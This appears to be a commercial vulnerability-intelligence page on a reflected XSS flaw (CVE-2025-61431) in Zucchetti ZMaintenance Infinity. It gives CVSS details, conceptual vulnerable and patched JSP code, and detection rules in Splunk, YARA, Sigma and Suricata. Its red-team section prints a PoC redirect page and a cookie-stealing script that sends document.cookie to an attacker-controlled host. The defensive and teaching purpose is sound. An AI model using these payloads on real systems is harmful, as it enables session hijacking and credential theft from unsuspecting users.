CVE-2025-61431
Executive Summary
CVE-2025-61431 is a reflected Cross-Site Scripting (XSS) vulnerability discovered in Zucchetti ZMaintenance Infinity and Infinity Zucchetti, affecting versions 4.1 and earlier. The flaw resides in the /jsp/gsfr_feditorHTML.jsp endpoint, where the pHtmlSource parameter is insufficiently sanitized, allowing an attacker to inject arbitrary JavaScript. Successful exploitation requires user interaction (clicking a crafted link), but can lead to session hijacking, credential theft, or defacement within the context of the victim's browser session. A vendor fix was released on June 18, 2025.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise asset management web application. The risk is primarily to organizations using Zucchetti ZMaintenance Infinity internally or as a SaaS solution.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed to trigger the XSS.
- User Interaction (UI): Required (R) – Victim must click a crafted link.
- Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope (e.g., cookies, session tokens).
- Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
- Integrity (I): Low (L) – Limited ability to modify data (e.g., defacement).
- Availability (A): None (N) – No impact on system availability.
Overall CVSS Score: 6.1 (Medium)
Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation and potential for session hijacking in an enterprise context elevates the risk.
Deep Dive & Mechanics
The vulnerability is a classic reflected XSS in the Java-based ZMaintenance Infinity application. The endpoint /jsp/gsfr_feditorHTML.jsp processes the pHtmlSource parameter and reflects its content back to the user without proper encoding or validation.
Attack Flow:
- An attacker crafts a malicious URL:
https://target-zucchetti-instance/jsp/gsfr_feditorHTML.jsp?pHtmlSource=<script>alert('XSS')</script> - The attacker lures a victim (e.g., via phishing email) to click the link.
- The victim's browser sends the request to the vulnerable server.
- The server processes the request and returns an HTML page containing the unescaped payload.
- The victim's browser executes the injected JavaScript in the context of the application's origin.
Why it works: The pHtmlSource parameter is likely intended for dynamic content generation (e.g., a rich text editor). The application fails to apply context-aware output encoding (e.g., HTML entity encoding) before embedding the parameter value into the response.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual Java JSP snippet):
<%
String htmlSource = request.getParameter("pHtmlSource");
%>
<div id="editorContent">
<%= htmlSource %> <!-- Direct reflection without encoding -->
</div>
Patched Code (Conceptual fix):
<%@ page import="org.owasp.encoder.Encode" %>
<%
String htmlSource = request.getParameter("pHtmlSource");
String safeHtml = Encode.forHtml(htmlSource); // OWASP Encoder
%>
<div id="editorContent">
<%= safeHtml %>
</div>
The patched version uses a robust output encoding library (e.g., OWASP Java Encoder) to escape HTML special characters (<, >, &, ", ') before rendering the user input.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A vulnerable Zucchetti ZMaintenance Infinity instance (v4.1 or earlier).
- A web browser or tool like
curl.
Proof-of-Concept (PoC) Exploit:
<!-- Save as poc.html and host on attacker-controlled server -->
<html>
<body>
<script>
var xssPayload = "<script>alert('XSS')</script>";
var targetUrl = "https://target-zucchetti-instance/jsp/gsfr_feditorHTML.jsp?pHtmlSource=" + encodeURIComponent(xssPayload);
window.location.href = targetUrl;
</script>
</body>
</html>
Advanced Payload (Session Hijacking):
<script>
var img = new Image();
img.src = "https://attacker-controlled.com/steal?cookie=" + document.cookie;
</script>
Usage:
- Host the PoC HTML file on an attacker-controlled server.
- Send the link to the victim (e.g., via email).
- When the victim clicks, the XSS executes, and the cookie is exfiltrated.
Blue Team (Defensive)
Detection Steps:
- Web Application Firewall (WAF) Rules: Block requests to
/jsp/gsfr_feditorHTML.jspcontaining<script>oronerror=patterns. - Log Monitoring: Look for anomalous
pHtmlSourceparameter values containing HTML/JavaScript. - User Education: Train users to avoid clicking suspicious links, especially those containing query parameters.
Hunting Query (Splunk):
index=web_logs sourcetype=access_combined
| search uri_path="/jsp/gsfr_feditorHTML.jsp" AND uri_query=*pHtmlSource*
| rex field=uri_query "pHtmlSource=(?<payload>.*)"
| where match(payload, "(?i)<script|<img|onerror|javascript:")
| table _time, clientip, uri_query, payload
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/jsp/gsfr_feditorHTML.jspwith a non-emptypHtmlSourceparameter. - Outbound connections to attacker-controlled domains from the victim's browser (e.g., for cookie exfiltration).
- HTTP requests to
- File IOCs:
- Temporary files created by the browser cache containing the malicious payload.
- Behavioral IOCs:
- Unexpected JavaScript execution in the context of the ZMaintenance application.
- Unusual session activity (e.g., concurrent logins from different IPs).
Detection Engineering
YARA Rule
rule CVE_2025_61431_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts against Zucchetti ZMaintenance Infinity"
author = "Valters IT"
date = "2025-06-20"
cve = "CVE-2025-61431"
strings:
$uri = "/jsp/gsfr_feditorHTML.jsp" nocase
$param = "pHtmlSource=" nocase
$xss1 = "<script" nocase
$xss2 = "onerror=" nocase
$xss3 = "javascript:" nocase
condition:
$uri and $param and 1 of ($xss*)
}
Sigma Rule
title: Reflected XSS Attempt Against Zucchetti ZMaintenance Infinity
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting the vulnerable endpoint with XSS payloads
author: Valters IT
date: 2025/06/20
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-path: '/jsp/gsfr_feditorHTML.jsp'
cs-uri-query|contains: 'pHtmlSource='
filter:
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'javascript:'
condition: selection and filter
falsepositives:
- Legitimate use of HTML editor with safe content
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-61431 Zucchetti ZMaintenance Infinity Reflected XSS"; flow:to_server,established; content:"/jsp/gsfr_feditorHTML.jsp"; http_uri; content:"pHtmlSource="; http_uri; pcre:"/(<script|onerror=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Apply Vendor Patch: Update Zucchetti ZMaintenance Infinity to the latest version (post-4.1) as released on 2025-06-18.
- WAF Virtual Patching: Block requests to
/jsp/gsfr_feditorHTML.jspwith suspiciouspHtmlSourcevalues. - Input Validation: Implement server-side validation to reject payloads containing HTML/JavaScript.
Long-Term Measures:
- Secure Coding Training: Educate developers on OWASP XSS prevention (output encoding, CSP).
- Content Security Policy (CSP): Deploy a strict CSP header to mitigate impact of XSS even if injection occurs.
- Regular Security Audits: Conduct periodic penetration testing and code reviews.
Workaround (if patching is delayed):
- Disable the
/jsp/gsfr_feditorHTML.jspendpoint via web server configuration (e.g., Apachemod_rewriteor Nginxlocationblock) if not critical for business operations.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.